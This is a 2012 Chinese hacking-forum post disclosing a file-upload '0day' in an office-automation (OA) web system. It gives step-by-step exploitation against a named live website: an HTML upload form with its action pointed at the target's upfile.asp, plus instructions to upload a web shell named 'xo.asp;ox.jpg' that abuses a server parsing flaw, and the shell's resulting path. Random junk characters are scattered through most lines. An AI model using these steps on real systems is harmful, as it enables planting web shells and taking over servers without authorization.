中国网络渗透测试联盟

标题: 全能OA办公系统0day OA办公系统漏洞 上传漏洞 [打印本页]
作者: admin    时间: 2012-11-21 13:45
标题: 全能OA办公系统0day OA办公系统漏洞 上传漏洞
全能OA办公系统 上传漏洞
( g  a. A* _  O  [​& r6 g! Q# u) m& ?
系统介绍：5 _' n$ s/ ^0 c4 s* w
) O8 @- B0 s  ?5 Z. J
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
! f0 Z+ z7 N2 M$ Q: @. \* o
1 J9 @2 e/ Q- S7 ^0 x6 k/ O% a主要功能：9 n8 q; P& W  L) `# m/ X0 b
公司通告
* k9 C  }1 |" M* o: H* C工作计划 ; A/ P- g1 c. o. {3 G3 u
通讯助理 " n* B3 p- t6 V6 \! B
客户资源 0 f7 E  C1 k5 S2 @  s; w& o' j
我的公文 # u7 X# ?% F) L# D0 B/ Q6 f
公文传阅 $ ?* ^' \8 Y+ Y1 V/ \
公共资源
( P! R' D( n4 D" q资源预约 , H4 _" t6 ~% A+ z7 H( V
今日考勤 ' H/ M4 K6 I: E( ~/ X
个人计划
: H7 S. H8 }( n1 f) {7 K个人通讯录 ; I/ {9 z; |" o+ i% y( Y6 k3 z( k
个人基本档案 & p5 P9 F. I* G3 m; }
未读邮件 $ Z* q6 T' `9 F
发邮件
" w/ ~- r* Q8 s" ^收件夹
- g$ l3 m9 W7 H1 L寄件夹 ' I5 x) s# q6 A: X
网络硬盘
, h; _4 F3 ~- v5 ^& _网络会议 0 g: S" z& _4 n( c: y
网络调查 ( k$ b+ B3 s: Y% t- J
交流论坛" \1 t7 i5 S5 v3 ?

" p! @3 I* }( f4 x* M0 _* ^% U有兴趣测试的朋友可以下源码看看) }$ V7 u! F  A* O6 \) P

& c2 U% e: R4 ]源码下载：& C. t0 O" p$ j3 s  s$ W5 Y# c

/ `8 [( v  y% B8 X) F6 T- G9 nhttp://www.mycodes.net/30/4750.htm- }' N" U! n5 A" C

# Y  b" u9 w. O5 y漏洞介绍：! y4 h, b0 q) d% ^( w  T( c( g
( r8 M: H2 J6 o2 r; k& y
由upfile.asp上传文件漏洞引起3 G( D' v. v4 [0 [% S6 r# X! _
4 }! t7 k1 s2 Q
测试方法：* c. h- {1 X- f# X

$ Y. U9 {8 l3 P4 X% ^$ Z使用名小子上传http://www.itlynn.com/upfile.asp即可
% R0 w4 |( }6 `# z" R
  B7 t& s. X: g& w8 G4 l& l如果upfile.asp文件被删除不存在。# H# d# L9 J% U6 o

' p- U# t# H2 r8 X8 j/ X, n5 o% T  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。0 r  x* d7 ~) p3 t( ~

0 B  J2 C: {& V" c  p如果存在那么将如下代码保存为upfile.html。
, G$ p6 \1 a: y, Q1 n, }- M! _7 j# P% v
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
5 G4 \1 {! Y$ o& [3 @" `) A
1 @7 l4 q+ M( {- M, }7 ?, b- p   `% s* \1 [+ f9 G+ }) j, z
  N) f% ?9 h, Z9 T% Q+ C3 s3 f9 `
01 <table border='0' align="center" cellpadding="5"> $ U& `& P& F! g4 c
" E/ {6 X) Q+ Q1 V% q+ _
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
" P+ K5 ~. \, j, \1 |8 G8 s- k7 ~5 T
03 <tr>
% w) c" g( f8 H4 {: D. {- M$ e  @2 b. X7 {9 @, f
04             <td>报错：</td>
. Y( x4 h! u! m7 i( u3 j& o5 \+ y2 l9 p( {
05             <td><input type='radio' name='errnumber' value='0'>
) @; g3 Z+ E% n; _# i' A! v
, J4 H9 v; r; l. w# {, ^) ]06               自动更名
, ^  ~4 @% _% g" e$ L; F( y
1 m: D, n! P  a$ M' Q9 A1 M% w6 Z07               <input type='radio' name='errnumber' value='1' checked>
9 H9 F! |6 \& Z- i
: _. @' r$ g: e08               报错方式 5 s! y- x% K: j

2 }# r3 [" ?) l& C3 I09               <input type='radio' name='errnumber' value='2'> " }2 u- P* l- Y5 J% x7 H' h' O% k
8 k  R. g9 f6 N
10               直接覆盖</td> 5 {5 e& ~) o- _8 y: e; k
, j; J8 H' d2 G8 ?
11           </tr>
6 j/ J+ M9 W4 Z# s4 o6 B
/ w5 r1 x5 t+ b12           <tr>
3 v4 k* ]% Y, c' t8 K0 E6 y7 N$ D9 Z* R5 {4 P5 B# U2 x  V
13             <td>主题：</td> $ [2 R6 L( N) f  l! j

+ T* H2 v. A4 K% `" Q/ ^8 O% S14             <td><input type='text' name='filename' size='30'></td>
9 u# y; ?& i0 C
( M/ [! Q) x! M( E15           </tr>
3 c  S: g0 B: C6 c0 w. M5 Z
9 v  l1 j+ s4 [6 C16           <tr>
$ |1 U: f. w. R3 k6 X& I3 }" L- j9 k# w7 e. U* L
17             <td>文件：</td> & b' f& y3 S2 ^( j. I+ p
( [' C' b4 K+ m. d
18             <td><input type="file"name="fruit"size="30"></td> . g- y, u) ?% I) b" h
5 A1 _! h+ m: R3 b/ v& V, b: N4 y
19           </tr> 0 O; @# v& v5 u$ Y- {

$ k# e- s- Y8 y+ e+ P20           <tr> . L$ P  Y2 ~8 z: H2 m
- N" ^% e, P! v0 r
21             <td valign='top'>简介：</td>
0 F! _$ A7 T& z; v, {; y( g; J( Q7 {& C& [1 W" }) }
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
) b6 Y2 m6 B) ~, e) N2 v6 g" [
* Y: A3 y) {' s5 S3 b23           </tr> - K0 [. D; I2 }/ {* V0 [3 ?

1 }% X9 r9 T) F# g5 b, [24   - n; |( X/ o( j" c. j' [. N
1 _# q$ ?" M  Q! ?0 [
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
" O- g% J4 b. q$ X, N+ ?
2 B+ O+ G7 l) p+ R26           </tr>
, u% Z. W- l4 C. l& D2 z
3 c" W) Q0 J4 @' H27         </form> ' d" y6 _: g9 Q) O

# k( W$ V/ _3 ?$ f然后打开上传一个文件名为xo.asp;ox.jpg的文件。
0 t  W; Y  i' p* p4 `7 `5 {) G: P

$ T/ D- m. a7 B6 u* F1 G& a% }; x, l; p  o  I, T7 R8 \0 Z6 T
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
! p$ Y, A% s5 H  a+ G7 S2 c# \- ?9 S
此漏洞需要配合解析漏洞利用。
- ^: F9 x" k2 H- i
7 m* i7 _5 Z/ {- S4 E( [



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2